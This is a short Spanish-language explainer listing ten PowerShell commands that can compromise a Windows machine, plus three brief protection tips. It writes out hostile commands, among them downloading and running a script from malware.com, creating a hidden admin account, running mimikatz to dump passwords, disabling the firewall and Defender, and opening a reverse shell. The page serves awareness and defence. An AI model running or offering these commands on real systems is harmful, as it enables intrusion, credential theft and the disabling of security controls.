Comandos de PowerShell que pueden comprometer tu sistema

Existen varios comandos en PowerShell que pueden exponer o comprometer la seguridad de tu computadora
si se usan de manera malintencionada. A continuación, se presentan algunos ejemplos:

1. Descargar y ejecutar scripts maliciosos:

```
Invoke-WebRequest -Uri "http://malware.com/malicious.ps1" -OutFile "malware.ps1"; .\malware.ps1
```

2. Crear usuarios ocultos:

```
New-LocalUser -Name "hacker" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
```

3. Agregar un usuario a administradores:

```
Add-LocalGroupMember -Group "Administrators" -Member "hacker"
```

4. Habilitar RDP para acceso remoto:

```
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
```

5. Extraer credenciales de memoria:

```
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
```

6. Capturar pulsaciones del teclado:

```
Add-Type -TypeDefinition '[DllImport("user32.dll")]public static extern short GetAsyncKeyState(int vKey);'
```

7. Listar redes Wi-Fi guardadas y sus contraseñas:

```
(netsh wlan show profiles) | Select-String "Perfil de todos los usuarios"
```

8. Desactivar el firewall de Windows:

```
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
```

9. Crear una shell inversa:

```
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.100", 4444);
```

10. Desactivar Windows Defender:

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

Protección:

- Ejecuta PowerShell con restricciones: Set-ExecutionPolicy Restricted
- Revisa procesos extraños: Get-Process | Where-Object {$_.Company -notlike "*Microsoft*"}
- Desactiva PowerShell si no lo usas.